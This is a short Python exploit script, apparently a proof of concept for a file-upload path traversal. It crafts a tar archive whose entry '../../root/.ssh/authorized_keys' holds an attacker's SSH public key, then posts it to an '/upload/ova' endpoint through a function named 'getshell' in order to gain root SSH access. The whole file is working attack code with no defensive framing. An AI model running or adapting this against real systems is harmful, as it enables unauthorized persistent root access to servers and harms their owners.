#-*- coding:utf-8 -*-
import tarfile
import os
from io import BytesIO
import requests

proxies = {
  "http": "http://127.0.0.1:8080",
  "https": "http://127.0.0.1:8080",
}
def return_zip():
    with tarfile.open("test.tar", 'w') as tar:
        payload = BytesIO()
        id_rsa_pub = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChD3Y51CCPqV4yzSUUyf3sRd+qZWzGlGZ141S1x/WB2nE3FEWF/02MgyvCUaIJ0YjL98sQ89mvSlh2x62RrjtzcGND5xva3vTtu9dA1SuUBnJYEZhu3hobEqEXwxIpRRR/+Ye0Bu7R6ci/j4tusX8Vu3xHuin/a/crgDOlpPXFT/+iIdxRru+YaCIGCgZ/tNPmq30aAGRxtW1AlcnAGFqxD86SBo4jedyfxRWeCpEWt+DUORZpOCywJJVqG6d+CvKFFKCBnHHRM1SfKefgexcFuQRJWbSy19VOh7bwKfTGk64GXeP2CcET39eFfExDy7UQba9beB0PE6JvOshNi0Tls5gsUEf7KfQwx0rP/KuVPTaKsUQFc276C4peJVJ83Qyf4iWjppm5SwIYmWESWANsDOJEePYIBi/BVuM2ucRzQZgS1YjG23szaaWQZ48YpB5f7YGjh7CdsOEau5QA33oSQSMMDvAT72b/zxLBlb85k9hrqroDWhcavhjXqtR4XZs='
        tarinfo = tarfile.TarInfo(name='../../root/.ssh/authorized_keys')
        f1 = BytesIO(id_rsa_pub.encode())
        tarinfo.size = len(f1.read())
        f1.seek(0)
        tar.addfile(tarinfo, fileobj=f1)
        tar.close()
        payload.seek(0)
def getshell(url):
    files = {'uploadFile':open('test.tar','rb')}
    try:
        r = requests.post(url=url, files=files,verify = False).text
        print(r)
    except:
        print('flase')

if __name__ == "__main__":
    try:
        return_zip()
        url="http://localhost:8090/upload/ova"
        getshell(url)
    except IOError as e:
        raise e
